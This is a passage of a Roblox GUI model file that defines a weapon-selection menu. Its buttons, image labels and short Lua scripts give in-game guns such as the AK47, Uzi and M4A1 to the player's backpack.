								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122079896</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Frame" referent="RBX3690">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">0</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<string name="Name">Name</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>-110</XO>
									<YS>0</YS>
									<YO>25</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<token name="Style">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
							<Item class="TextBox" referent="RBX3691">
								<Properties>
									<bool name="Active">true</bool>
									<Color3 name="BackgroundColor3">4288914085</Color3>
									<float name="BackgroundTransparency">0</float>
									<Color3 name="BorderColor3">4279970357</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="ClearTextOnFocus">true</bool>
									<bool name="ClipsDescendants">false</bool>
									<bool name="Draggable">false</bool>
									<token name="Font">2</token>
									<token name="FontSize">8</token>
									<bool name="MultiLine">false</bool>
									<string name="Name">Name</string>
									<UDim2 name="Position">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<string name="Text">asaulet riffls</string>
									<Color3 name="TextColor3">4294967295</Color3>
									<bool name="TextScaled">false</bool>
									<Color3 name="TextStrokeColor3">4278716424</Color3>
									<float name="TextStrokeTransparency">0</float>
									<float name="TextTransparency">0</float>
									<bool name="TextWrapped">false</bool>
									<token name="TextXAlignment">2</token>
									<token name="TextYAlignment">1</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX3692">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.AK47:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3693">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Uzi- Main</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>300</XO>
								<YS>0</YS>
								<YO>625</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3694">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122080142</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3695">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Uzi:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
						<Item class="Frame" referent="RBX3696">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">0</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<string name="Name">Name</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>-45</XO>
									<YS>0</YS>
									<YO>25</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<token name="Style">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
							<Item class="TextBox" referent="RBX3697">
								<Properties>
									<bool name="Active">true</bool>
									<Color3 name="BackgroundColor3">4288914085</Color3>
									<float name="BackgroundTransparency">0</float>
									<Color3 name="BorderColor3">4279970357</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="ClearTextOnFocus">true</bool>
									<bool name="ClipsDescendants">false</bool>
									<bool name="Draggable">false</bool>
									<token name="Font">2</token>
									<token name="FontSize">8</token>
									<bool name="MultiLine">false</bool>
									<string name="Name">Name</string>
									<UDim2 name="Position">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<string name="Text">sgms</string>
									<Color3 name="TextColor3">4294967295</Color3>
									<bool name="TextScaled">false</bool>
									<Color3 name="TextStrokeColor3">4278716424</Color3>
									<float name="TextStrokeTransparency">0</float>
									<float name="TextTransparency">0</float>
									<bool name="TextWrapped">false</bool>
									<token name="TextXAlignment">2</token>
									<token name="TextYAlignment">1</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3698">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">M110- Main</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>300</XO>
								<YS>0</YS>
								<YO>500</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3699">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122079992</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3700">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.M110:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
						<Item class="Frame" referent="RBX3701">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">0</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<string name="Name">Name</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>-95</XO>
									<YS>0</YS>
									<YO>25</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<token name="Style">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
							<Item class="TextBox" referent="RBX3702">
								<Properties>
									<bool name="Active">true</bool>
									<Color3 name="BackgroundColor3">4288914085</Color3>
									<float name="BackgroundTransparency">0</float>
									<Color3 name="BorderColor3">4279970357</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="ClearTextOnFocus">true</bool>
									<bool name="ClipsDescendants">false</bool>
									<bool name="Draggable">false</bool>
									<token name="Font">2</token>
									<token name="FontSize">8</token>
									<bool name="MultiLine">false</bool>
									<string name="Name">Name</string>
									<UDim2 name="Position">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<string name="Text">snipars</string>
									<Color3 name="TextColor3">4294967295</Color3>
									<bool name="TextScaled">false</bool>
									<Color3 name="TextStrokeColor3">4278716424</Color3>
									<float name="TextStrokeTransparency">0</float>
									<float name="TextTransparency">0</float>
									<bool name="TextWrapped">false</bool>
									<token name="TextXAlignment">2</token>
									<token name="TextYAlignment">1</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Frame" referent="RBX3703">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">Select</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>350</XO>
								<YS>0</YS>
								<YO>200</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="TextBox" referent="RBX3704">
							<Properties>
								<bool name="Active">true</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">0</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClearTextOnFocus">true</bool>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<token name="Font">2</token>
								<token name="FontSize">9</token>
								<bool name="MultiLine">false</bool>
								<string name="Name">Select</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<string name="Text">selekt a main gunn ok</string>
								<Color3 name="TextColor3">4294506744</Color3>
								<bool name="TextScaled">false</bool>
								<Color3 name="TextStrokeColor3">4278716424</Color3>
								<float name="TextStrokeTransparency">0</float>
								<float name="TextTransparency">0</float>
								<bool name="TextWrapped">false</bool>
								<token name="TextXAlignment">2</token>
								<token name="TextYAlignment">1</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
					</Item>
					<Item class="Frame" referent="RBX3705">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">Select2</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>350</XO>
								<YS>0</YS>
								<YO>235</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="TextBox" referent="RBX3706">
							<Properties>
								<bool name="Active">true</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">0</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClearTextOnFocus">true</bool>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<token name="Font">2</token>
								<token name="FontSize">7</token>
								<bool name="MultiLine">false</bool>
								<string name="Name">Select</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<string name="Text">klik on da wepon 2 go boom boom</string>
								<Color3 name="TextColor3">4294506744</Color3>
								<bool name="TextScaled">false</bool>
								<Color3 name="TextStrokeColor3">4278716424</Color3>
								<float name="TextStrokeTransparency">0</float>
								<float name="TextTransparency">0</float>
								<bool name="TextWrapped">false</bool>
								<token name="TextXAlignment">2</token>
								<token name="TextYAlignment">1</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3707">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">AR15</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>425</XO>
								<YS>0</YS>
								<YO>250</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4294506744</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3708">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122079905</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3709">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.AR15:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3710">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">AUG</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>550</XO>
								<YS>0</YS>
								<YO>250</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4294506744</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3711">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122079912</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3712">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.AUG:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3713">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">M4A1</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>675</XO>
								<YS>0</YS>
								<YO>250</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4294506744</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3714">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122079978</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3715">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.M4A1:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3716">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Auto5</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>425</XO>
								<YS>0</YS>
								<YO>375</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3717">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122079924</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3718">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Auto5:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3719">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Ithaca</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>550</XO>
								<YS>0</YS>
								<YO>375</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3720">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122079958</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3721">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Ithaca:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3722">
						<Properties>
							<bool name="Active">true</bool>
